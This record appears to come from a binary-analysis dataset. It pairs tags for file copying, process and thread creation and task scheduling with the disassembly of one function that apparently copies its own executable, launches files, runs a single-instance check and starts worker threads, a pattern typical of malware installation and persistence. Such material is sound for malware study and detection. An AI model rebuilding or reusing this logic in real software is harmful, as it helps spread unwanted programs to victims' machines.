Function at 0x49e90c
Capabilities:
Copy file
Create process on windows
Create thread
Schedule task via at

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x24
push 0
push 0
dec ecx
jne 0x49e914
push ecx
push ebx
push esi
push edi
mov eax, 0x49da4c
call fcn.00407754
xor eax, eax
push ebp
push 0x49f68c
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0049b440
mov dl, 1
mov eax, dword [0x49d47c]
call fcn.0049d510
mov dword [0x4abb64], eax
xor eax, eax
push ebp
push 0x49e97a
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x14]
call fcn.0049c118
mov edx, dword [ebp - 0x14]
mov eax, dword [0x4a24c4]
call fcn.0040547c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49e984
lea ecx, [ebp - 0x18]
mov edx, 0x49f6a4
mov eax, dword [0x4abb64]
call fcn.0049d5c8
mov edx, dword [ebp - 0x18]
mov eax, dword [0x4a239c]
call fcn.0040547c
lea ecx, [ebp - 0x1c]
mov edx, 0x49f6b0
mov eax, dword [0x4abb64]
call fcn.0049d5c8
mov edx, dword [ebp - 0x1c]
mov eax, dword [0x4a27d4]
call fcn.0040547c
lea ecx, [ebp - 0x20]
mov edx, 0x49f6c0
mov eax, dword [0x4abb64]
call fcn.0049d5c8
mov edx, dword [ebp - 0x20]
mov eax, dword [0x4a24e8]
call fcn.0040547c
lea ecx, [ebp - 0x24]
mov edx, 0x49f6cc
mov eax, dword [0x4abb64]
call fcn.0049d5c8
mov edx, dword [ebp - 0x24]
mov eax, dword [0x4a270c]
call fcn.0040547c
lea ecx, [ebp - 0x28]
mov edx, 0x49f6dc
mov eax, dword [0x4abb64]
call fcn.0049d5c8
mov edx, dword [ebp - 0x28]
mov eax, dword [0x4a23b4]
call fcn.0040547c
lea ecx, [ebp - 0x2c]
mov edx, 0x49f6ec
mov eax, dword [0x4abb64]
call fcn.0049d5c8
mov edx, dword [ebp - 0x2c]
mov eax, dword [0x4a2718]
call fcn.0040547c
lea ecx, [ebp - 0x30]
mov edx, 0x49f700
mov eax, dword [0x4abb64]
call fcn.0049d5c8
mov edx, dword [ebp - 0x30]
mov eax, dword [0x4a26fc]
call fcn.0040547c
lea ecx, [ebp - 0x34]
mov edx, 0x49f710
mov eax, dword [0x4abb64]
call fcn.0049d5c8
mov edx, dword [ebp - 0x34]
mov eax, dword [0x4a2740]
call fcn.0040547c
lea ecx, [ebp - 0x38]
mov edx, 0x49f720
mov eax, dword [0x4abb64]
call fcn.0049d5c8
mov edx, dword [ebp - 0x38]
mov eax, dword [0x4a2584]
call fcn.0040547c
lea ecx, [ebp - 0x3c]
mov edx, 0x49f730
mov eax, dword [0x4abb64]
call fcn.0049d5c8
mov edx, dword [ebp - 0x3c]
mov eax, dword [0x4a272c]
call fcn.0040547c
lea ecx, [ebp - 0x40]
mov edx, 0x49f744
mov eax, dword [0x4abb64]
call fcn.0049d5c8
mov edx, dword [ebp - 0x40]
mov eax, dword [0x4a28e0]
call fcn.0040547c
lea ecx, [ebp - 0x44]
mov edx, 0x49f754
mov eax, dword [0x4abb64]
call fcn.0049d5c8
mov edx, dword [ebp - 0x44]
mov eax, dword [0x4a26c4]
call fcn.0040547c
lea ecx, [ebp - 0x48]
mov edx, 0x49f764
mov eax, dword [0x4abb64]
call fcn.0049d5c8
mov edx, dword [ebp - 0x48]
mov eax, dword [0x4a25e4]
call fcn.0040547c
lea ecx, [ebp - 0x4c]
mov edx, 0x49f778
mov eax, dword [0x4abb64]
call fcn.0049d5c8
mov edx, dword [ebp - 0x4c]
mov eax, dword [0x4a2734]
call fcn.0040547c
lea ecx, [ebp - 0x50]
mov edx, 0x49f788
mov eax, dword [0x4abb64]
call fcn.0049d5c8
mov edx, dword [ebp - 0x50]
mov eax, dword [0x4a2580]
call fcn.0040547c
lea ecx, [ebp - 0x54]
mov edx, 0x49f798
mov eax, dword [0x4abb64]
call fcn.0049d5c8
mov edx, dword [ebp - 0x54]
mov eax, dword [0x4a27fc]
call fcn.0040547c
lea ecx, [ebp - 0x58]
mov edx, 0x49f7ac
mov eax, dword [0x4abb64]
call fcn.0049d5c8
mov edx, dword [ebp - 0x58]
mov eax, dword [0x4a2670]
call fcn.0040547c
lea ecx, [ebp - 0x5c]
mov edx, 0x49f7c0
mov eax, dword [0x4abb64]
call fcn.0049d5c8
mov edx, dword [ebp - 0x5c]
mov eax, dword [0x4a2654]
call fcn.0040547c
lea ecx, [ebp - 0x60]
mov edx, 0x49f7d0
mov eax, dword [0x4abb64]
call fcn.0049d5c8
mov edx, dword [ebp - 0x60]
mov eax, dword [0x4a27e8]
call fcn.0040547c
lea ecx, [ebp - 0x64]
mov edx, 0x49f7e0
mov eax, dword [0x4abb64]
call fcn.0049d5c8
mov edx, dword [ebp - 0x64]
mov eax, dword [0x4a2688]
call fcn.0040547c
lea ecx, [ebp - 0x68]
mov edx, 0x49f7f4
mov eax, dword [0x4abb64]
call fcn.0049d5c8
mov edx, dword [ebp - 0x68]
mov eax, dword [0x4a238c]
call fcn.0040547c
lea ecx, [ebp - 0x6c]
mov edx, 0x49f804
mov eax, dword [0x4abb64]
call fcn.0049d5c8
mov edx, dword [ebp - 0x6c]
mov eax, dword [0x4a26e8]
call fcn.0040547c
lea ecx, [ebp - 0x70]
mov edx, 0x49f814
mov eax, dword [0x4abb64]
call fcn.0049d5c8
mov edx, dword [ebp - 0x70]
mov eax, dword [0x4a261c]
call fcn.0040547c
lea ecx, [ebp - 0x74]
mov edx, 0x49f824
mov eax, dword [0x4abb64]
call fcn.0049d5c8
mov edx, dword [ebp - 0x74]
mov eax, dword [0x4a266c]
call fcn.0040547c
lea ecx, [ebp - 0x78]
mov edx, 0x49f834
mov eax, dword [0x4abb64]
call fcn.0049d5c8
mov edx, dword [ebp - 0x78]
mov eax, dword [0x4a25e0]
call fcn.0040547c
lea ecx, [ebp - 0x7c]
mov edx, 0x49f834
mov eax, dword [0x4abb64]
call fcn.0049d5c8
mov edx, dword [ebp - 0x7c]
mov eax, dword [0x4a2370]
call fcn.0040547c
lea ecx, [ebp - 0x80]
mov edx, 0x49f844
mov eax, dword [0x4abb64]
call fcn.0049d5c8
mov edx, dword [ebp - 0x80]
mov eax, dword [0x4a2768]
call fcn.0040547c
lea ecx, [ebp - 0x84]
mov edx, 0x49f854
mov eax, dword [0x4abb64]
call fcn.0049d5c8
mov edx, dword [ebp - 0x84]
mov eax, dword [0x4a27ac]
call fcn.0040547c
lea ecx, [ebp - 0x88]
mov edx, 0x49f860
mov eax, dword [0x4abb64]
call fcn.0049d5c8
mov edx, dword [ebp - 0x88]
mov eax, dword [0x4a27cc]
call fcn.0040547c
lea ecx, [ebp - 0x8c]
mov edx, 0x49f86c
mov eax, dword [0x4abb64]
call fcn.0049d5c8
mov edx, dword [ebp - 0x8c]
mov eax, dword [0x4a25dc]
call fcn.0040547c
lea ecx, [ebp - 0x90]
mov edx, 0x49f878
mov eax, dword [0x4abb64]
call fcn.0049d5c8
mov edx, dword [ebp - 0x90]
mov eax, dword [0x4a2458]
call fcn.0040547c
lea ecx, [ebp - 0x94]
mov edx, 0x49f884
mov eax, dword [0x4abb64]
call fcn.0049d5c8
mov edx, dword [ebp - 0x94]
mov eax, dword [0x4a26f4]
call fcn.0040547c
lea ecx, [ebp - 0x98]
mov edx, 0x49f890
mov eax, dword [0x4abb64]
call fcn.0049d5c8
mov edx, dword [ebp - 0x98]
mov eax, dword [0x4a2668]
call fcn.0040547c
lea ecx, [ebp - 0x9c]
mov edx, 0x49f89c
mov eax, dword [0x4abb64]
call fcn.0049d5c8
mov edx, dword [ebp - 0x9c]
mov eax, dword [0x4a23b0]
call fcn.0040547c
lea ecx, [ebp - 0xa0]
mov edx, 0x49f8a8
mov eax, dword [0x4abb64]
call fcn.0049d5c8
mov edx, dword [ebp - 0xa0]
mov eax, dword [0x4a2404]
call fcn.0040547c
lea ecx, [ebp - 0xa4]
mov edx, 0x49f8b4
mov eax, dword [0x4abb64]
call fcn.0049d5c8
mov edx, dword [ebp - 0xa4]
mov eax, dword [0x4a2690]
call fcn.0040547c
lea ecx, [ebp - 0xa8]
mov edx, 0x49f8c0
mov eax, dword [0x4abb64]
call fcn.0049d5c8
mov edx, dword [ebp - 0xa8]
mov eax, dword [0x4a2810]
call fcn.0040547c
lea ecx, [ebp - 0xac]
mov edx, 0x49f8d0
mov eax, dword [0x4abb64]
call fcn.0049d5c8
mov edx, dword [ebp - 0xac]
mov eax, dword [0x4a2648]
call fcn.0040547c
lea ecx, [ebp - 0xb0]
mov edx, 0x49f8e0
mov eax, dword [0x4abb64]
call fcn.0049d5c8
mov edx, dword [ebp - 0xb0]
mov eax, 0x4abb68
call fcn.0040547c
lea ecx, [ebp - 0xb4]
mov edx, 0x49f8f0
mov eax, dword [0x4abb64]
call fcn.0049d5c8
mov edx, dword [ebp - 0xb4]
mov eax, 0x4abb6c
call fcn.0040547c
lea ecx, [ebp - 0xb8]
mov edx, 0x49f904
mov eax, dword [0x4abb64]
call fcn.0049d5c8
mov edx, dword [ebp - 0xb8]
mov eax, 0x4abb70
call fcn.0040547c
lea ecx, [ebp - 0xbc]
mov edx, 0x49f914
mov eax, dword [0x4abb64]
call fcn.0049d5c8
mov edx, dword [ebp - 0xbc]
mov eax, 0x4abb74
call fcn.0040547c
lea ecx, [ebp - 0xc0]
mov edx, 0x49f928
mov eax, dword [0x4abb64]
call fcn.0049d5c8
mov edx, dword [ebp - 0xc0]
mov eax, dword [0x4a24f8]
call fcn.0040547c
mov eax, dword [0x4abb64]
call fcn.004045fc
lea edx, [ebp - 0xc4]
mov eax, dword [0x4a2670]
mov eax, dword [eax]
call fcn.00409ae0
cmp dword [ebp - 0xc4], 0
jne 0x49ef4d
mov eax, dword [0x4a2670]
mov edx, 0x49f93c
call fcn.0040547c
lea edx, [ebp - 0xc8]
mov eax, dword [0x4a27fc]
mov eax, dword [eax]
call fcn.00409ae0
cmp dword [ebp - 0xc8], 0
jne 0x49ef77
mov eax, dword [0x4a27fc]
mov edx, 0x49f93c
call fcn.0040547c
lea edx, [ebp - 0xcc]
mov eax, dword [0x4a270c]
mov eax, dword [eax]
call fcn.00409ae0
cmp dword [ebp - 0xcc], 0
je 0x49efa4
mov eax, dword [0x4a280c]
mov edx, dword [0x4a270c]
mov edx, dword [edx]
call fcn.0040547c
mov eax, dword [0x4a24e8]
cmp dword [eax], 0
jne 0x49efbd
mov eax, dword [0x4a24e8]
mov edx, 0x49f948
call fcn.0040547c
lea ecx, [ebp - 0xd0]
mov edx, dword [0x4a26fc]
mov edx, dword [edx]
mov eax, dword [0x4a2718]
mov eax, dword [eax]
call fcn.0049275c
mov edx, dword [ebp - 0xd0]
mov eax, dword [0x4a2444]
call fcn.0040547c
lea edx, [ebp - 0xdc]
xor eax, eax
call fcn.0040f194
mov eax, dword [ebp - 0xdc]
lea edx, [ebp - 0xd8]
call fcn.00409740
mov eax, dword [ebp - 0xd8]
lea edx, [ebp - 0xd4]
call fcn.00409ae0
mov eax, dword [ebp - 0xd4]
push eax
lea edx, [ebp - 0xe4]
mov eax, dword [0x4a2444]
mov eax, dword [eax]
call fcn.00409740
mov eax, dword [ebp - 0xe4]
lea edx, [ebp - 0xe0]
call fcn.00409ae0
mov edx, dword [ebp - 0xe0]
pop eax
call fcn.00405850
je 0x49f3df
lea edx, [ebp - 0xf0]
xor eax, eax
call fcn.0040f194
mov eax, dword [ebp - 0xf0]
lea edx, [ebp - 0xec]
call fcn.00409740
mov eax, dword [ebp - 0xec]
lea edx, [ebp - 0xe8]
call fcn.00409ae0
mov eax, dword [ebp - 0xe8]
push eax
lea eax, [ebp - 0xfc]
call fcn.00462260
mov eax, dword [ebp - 0xfc]
lea edx, [ebp - 0xf8]
call fcn.00409740
mov eax, dword [ebp - 0xf8]
lea edx, [ebp - 0xf4]
call fcn.00409ae0
mov edx, dword [ebp - 0xf4]
pop eax
call fcn.00405850
je 0x49f3df
xor eax, eax
push ebp
push 0x49f167
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0040bbf8
fstp qword [0x4abb78]
wait
push dword [0x4abb7c]
push dword [0x4abb78]
mov edx, dword [0x4a2528]
mov edx, dword [edx]
mov eax, 0x4abb80
call fcn.0040c858
call fcn.0040bc24
fstp qword [0x4abb84]
wait
push dword [0x4abb88]
push dword [0x4abb84]
mov edx, dword [0x4a26ac]
mov edx, dword [edx]
mov eax, 0x4abb8c
call fcn.0040c858
push dword [0x4abb80]
push 0x49f958
push dword [0x4abb8c]
lea eax, [ebp - 0x100]
mov edx, 3
call fcn.004057bc
mov eax, dword [ebp - 0x100]
mov edx, dword [0x4a24c4]
mov edx, dword [edx]
call fcn.0049cba0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49f171
mov eax, dword [0x4a23b4]
mov eax, dword [eax]
mov edx, 0x49f968
call fcn.00405850
jne 0x49f245
lea edx, [ebp - 0x104]
mov eax, dword [0x4a2444]
mov eax, dword [eax]
call fcn.0040a504
mov eax, dword [ebp - 0x104]
call fcn.0040a1f4
test al, al
jne 0x49f1c6
lea edx, [ebp - 0x108]
mov eax, dword [0x4a2444]
mov eax, dword [eax]
call fcn.0040a504
mov eax, dword [ebp - 0x108]
call fcn.0040a218
push 0
mov eax, dword [0x4a2444]
mov eax, dword [eax]
call fcn.004058b8
push eax
lea edx, [ebp - 0x10c]
xor eax, eax
call fcn.0040f194
mov eax, dword [ebp - 0x10c]
call fcn.004058b8
push eax
call sub.kernel32.dll_CopyFileA
mov eax, dword [0x4a2444]
mov eax, dword [eax]
call fcn.0049249c
mov eax, dword [0x4a2444]
mov eax, dword [eax]
push eax
mov ecx, dword [0x4a2740]
mov ecx, dword [ecx]
mov edx, 0x49f93c
mov eax, 0x49f93c
call fcn.00492230
mov eax, dword [0x4a272c]
mov eax, dword [eax]
mov edx, 0x49f968
call fcn.00405850
jne 0x49f245
mov edx, dword [0x4a28e0]
mov edx, dword [edx]
mov eax, dword [0x4a2444]
mov eax, dword [eax]
call fcn.0049cdf4
mov eax, dword [0x4a26c4]
mov eax, dword [eax]
mov edx, 0x49f968
call fcn.00405850
jne 0x49f286
mov eax, dword [0x4a2580]
mov eax, dword [eax]
call fcn.00409e40
push eax
mov eax, dword [0x4a25e4]
mov eax, dword [eax]
call fcn.004058b8
push eax
mov eax, dword [0x4a2734]
mov eax, dword [eax]
call fcn.004058b8
push eax
push 0
call sub.user32.dll_MessageBoxA_1
lea edx, [ebp - 0x110]
mov eax, dword [0x4a27e8]
mov eax, dword [eax]
call fcn.00409ae0
cmp dword [ebp - 0x110], 0
je 0x49f2d8
mov eax, dword [0x4a2654]
mov eax, dword [eax]
mov edx, 0x49f968
call fcn.00405850
jne 0x49f2c7
mov eax, dword [0x4a27e8]
mov eax, dword [eax]
mov edx, 0x49f968
call fcn.0047ebe8
jmp 0x49f2d8
mov eax, dword [0x4a27e8]
mov eax, dword [eax]
mov edx, 0x49f93c
call fcn.0047ebe8
mov eax, dword [0x4a2670]
mov eax, dword [eax]
call fcn.00409e40
mov edx, eax
mov eax, dword [0x4a2444]
mov eax, dword [eax]
call fcn.0047eb30
mov eax, dword [0x4a27fc]
mov eax, dword [eax]
call fcn.00409e40
mov edx, eax
mov eax, dword [0x4a2444]
mov eax, dword [eax]
call fcn.0047eb80
mov eax, dword [0x4abb68]
mov edx, 0x49f968
call fcn.00405850
jne 0x49f331
call fcn.0049c9f0
call fcn.0049c9a8
push 0x1f4
call sub.kernel32.dll_Sleep_1
mov eax, dword [0x4abb70]
mov edx, 0x49f968
call fcn.00405850
jne 0x49f347
call fcn.0049d0bc
mov eax, dword [0x4a2444]
mov eax, dword [eax]
call fcn.0040a1d0
test al, al
je 0x49f3df
mov eax, dword [0x4a23b4]
mov eax, dword [eax]
mov edx, 0x49f968
call fcn.00405850
jne 0x49f3df
push 5
push 0
push 0
mov eax, dword [0x4a2444]
mov eax, dword [eax]
call fcn.004058b8
push eax
push 0x49f96c
push 0
call sub.shell32.dll_ShellExecuteA
mov eax, dword [0x4a2584]
mov eax, dword [eax]
mov edx, 0x49f968
call fcn.00405850
jne 0x49f3d8
push 0x49f97c
lea edx, [ebp - 0x118]
xor eax, eax
call fcn.0040f194
push dword [ebp - 0x118]
push 0x49f9a8
lea eax, [ebp - 0x114]
mov edx, 3
call fcn.004057bc
mov eax, dword [ebp - 0x114]
call fcn.004637e4
push 0
call sub.kernel32.dll_ExitProcess_1
mov eax, dword [0x4a24f8]
mov eax, dword [eax]
mov edx, 0x49f968
call fcn.00405850
jne 0x49f40a
mov eax, dword [0x4a2828]
push eax
push 0
push 0
push 0x49d9a8
push 0
push 0
call sub.kernel32.dll_CreateThread
mov eax, dword [0x4a27ac]
mov eax, dword [eax]
mov edx, 0x49f968
call fcn.00405850
jne 0x49f435
mov eax, dword [0x4a2828]
push eax
push 0
push 0
push 0x49d928
push 0
push 0
call sub.kernel32.dll_CreateThread
mov eax, dword [0x4a25dc]
mov eax, dword [eax]
mov edx, 0x49f968
call fcn.00405850
jne 0x49f452
mov eax, 1
call fcn.0047da18
mov eax, dword [0x4a2458]
mov eax, dword [eax]
mov edx, 0x49f968
call fcn.00405850
jne 0x49f46f
mov eax, 1
call fcn.0047db58
mov eax, dword [0x4a26f4]
mov eax, dword [eax]
mov edx, 0x49f968
call fcn.00405850
jne 0x49f496
mov eax, 1
call fcn.0047dec8
mov eax, 1
call fcn.0047e038
mov eax, dword [0x4a2668]
mov eax, dword [eax]
mov edx, 0x49f968
call fcn.00405850
jne 0x49f4ae
call fcn.0047dca0
mov eax, dword [0x4a23b0]
mov eax, dword [eax]
mov edx, 0x49f968
call fcn.00405850
jne 0x49f4c6
call fcn.0047ddd8
mov eax, dword [0x4a2404]
mov eax, dword [eax]
mov edx, 0x49f968
call fcn.00405850
jne 0x49f4de
call fcn.0047e2a0
mov eax, dword [0x4a2690]
mov eax, dword [eax]
mov edx, 0x49f968
call fcn.00405850
jne 0x49f4f6
call fcn.0047e1b0
mov eax, dword [0x4a2810]
mov eax, dword [eax]
mov edx, 0x49f968
call fcn.00405850
jne 0x49f50e
call fcn.0047e390
push 0
call sub.kernel32.dll_SetLastError
mov eax, dword [0x4a27d4]
mov eax, dword [eax]
call fcn.004058b8
push eax
push 0
push 0
call fcn.004079f0
call sub.kernel32.dll_GetLastError_1
cmp eax, 0xb7
je 0x49f66e
mov eax, dword [0x4a2648]
mov eax, dword [eax]
mov edx, 0x49f968
call fcn.00405850
jne 0x49f5c1
xor eax, eax
push ebp
push 0x49f5b7
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.00499230
test al, al
jne 0x49f5ad
call fcn.004615ac
push 0x4abb5c
push 0
push 0x49f9ac
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_GetWindowThreadProcessId
lea edx, [ebp - 0x11c]
xor eax, eax
call fcn.0040f194
mov eax, dword [ebp - 0x11c]
call fcn.004058b8
push eax
call sub.kernel32.dll_GetCurrentProcessId
mov edx, eax
mov ecx, dword [0x4abb5c]
pop eax
call fcn.004618bc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49f5c1
mov eax, dword [0x4abb6c]
mov edx, 0x49f968
call fcn.00405850
jne 0x49f5f7
mov eax, dword [0x4abb68]
mov edx, 0x49f968
call fcn.00405850
jne 0x49f5f7
call fcn.0049c9f0
call fcn.0049c9a8
push 0x1f4
call sub.kernel32.dll_Sleep_1
mov eax, dword [0x4abb74]
mov edx, 0x49f968
call fcn.00405850
jne 0x49f61e
mov eax, dword [0x4abb70]
mov edx, 0x49f968
call fcn.00405850
jne 0x49f61e
call fcn.0049d0bc
lea edx, [ebp - 0x120]
mov eax, dword [0x4a2768]
mov eax, dword [eax]
call fcn.0049bbec
mov edx, dword [ebp - 0x120]
mov eax, 0x4abb60
call fcn.0040547c
lea edx, [ebp - 0x124]
mov eax, dword [0x4abb60]
call fcn.00409ae0
cmp dword [ebp - 0x124], 0
je 0x49f669
mov eax, dword [0x4a24e8]
mov edx, dword [0x4abb60]
call fcn.0040547c
call fcn.0048eec0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49f693
lea eax, [ebp - 0x124]
mov edx, 0x45
call fcn.0040544c
ret